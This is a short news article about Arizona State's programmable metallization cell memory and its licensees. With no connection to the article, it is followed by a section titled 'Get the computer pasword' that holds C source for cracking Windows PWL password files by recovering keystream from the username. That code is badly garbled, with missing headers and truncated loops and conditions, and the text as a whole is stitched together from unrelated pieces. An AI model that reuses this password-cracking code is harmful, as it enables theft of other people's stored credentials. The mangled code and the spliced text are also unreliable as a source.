In research published in October's IEEE Transactions on Electron Devices, Kozicki and his collaborators from the Jülich Research Center in Germany describe how the PMC builds an on-demand copper bridge between two electrodes. When the technology writes a binary 1, it creates a nanowire bridge between two electrodes. When no wire is present, that state is stored as a 0.

The key enabling technology for the memory is nano-ionics, a field that focuses on moving and transforming positively charged atoms. In PMC memory, the charged atoms, or ions, are harnessed by applying a negative charge, which transforms them into copper atoms lined up to form nanowires.

Kozicki says the process is like condensing a crystal from a solution, except that the process is almost infinitely reversible. If the PMC is fed a positive charge, the copper atoms return to their previous free-floating state, and the nanowires disassemble.

Kozicki says the technology can be built from materials commonly used in the memory industry, which should help keep manufacturing costs down.

The memory industry has already taken an interest. Three companies, Micron Technology, Qimonda and Adesto (a stealth-mode startup) have licensed the technology from Arizona State's business spin-off, Axon Technologies.

Kozicki says the first product containing the memory, a simple chip, is slated to come out in 18 months.

Market-research firm iSuppli projects the flash-memory market growing from $20 billion in 2006 to $32 billion in 2011. Mark DeVoss, a senior analyst in flash memory at iSuppli, says a lot of companies are gunning for a share of that $12 billion in growth, but it's hard to handicap the likely winners.

"There's a lot of elegant technologies," DeVoss says. "But you have to be able to scale it down and deliver a low cost-per-bit."

Kozicki's licensees believe the technology will deliver the outsize improvements that could drive the memory mainstream.

"No other technology can deliver the orders-of-magnitude improvement in power, performance and cost that this memory can," says Narbeh Derhacobian, CEO of Adesto, who previously worked at AMD's flash-memory division.

Adesto has received $6 million from Arch Venture Partners and additional funding from Harris & Harris, a venture firm specializing in nanotechnology.

Get the computer pasword

Code :# include# include# include# include# include# include# include
unsigned char huge Data[100001];unsigned char keystream[1001];int Rpoint[300];
void main(int argc,char *argv[]){ FILE *fd; int i,j; int size; char ch; char *name; int cracked; int sizemask; int maxr; int rsz; int pos; int Rall[300]; /* Resourse allocation table */
if(argc<2){ printf("usage: glide filename (username)"); exit(1); } /* Read PWL file */
fd=fopen(argv[1],"rb"); if(fd==NULL){ printf("can't open file %s",argv[1]); exit(1); } size=0; while(!feof(fd)){ Data[size++]=fgetc(fd); } size--; fclose(fd);
/* Find Username */ name=argv[1]; if(argc>2)name=argv[2]; printf("Username:%s",name);
/* Copy encrypted text into keystream */ cracked=size-0x0208; if(cracked<0)cracked=0;>1000)cracked=1000; memcpy(keystream,Data+0x208,cracked);
/* Generate 20 bytes of keystream */ for(i=0;i<20;i++){ ch=toupper(name[i]); if(ch==0)break; if(ch=='.')break; keystream[i]^=ch; }; cracked=20;
/* Find allocated resources */
sizemask=keystream[0]+(keystream[1]<<8); printf("Sizemask:%04X",sizemask);
for(i=0;i<256;i++){>maxr)maxr=Data[i]; } }
maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be divisible by 16 */
/*Search after resources */
Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */ for(i=0;i /* Resourse have a tedency to have the wrong size for some reason*/ /* Chech for correct size*/
if(i>8) & 0x00ff; } cracked+=maxr*2+2; printf("%d Bytes of ketstream recoverd ",cracked);
/* Decrypt resources */ for(i=0;icracked)rsz=cracked; printf("Resource[%d](%d)",i,rsz); for(j=0;j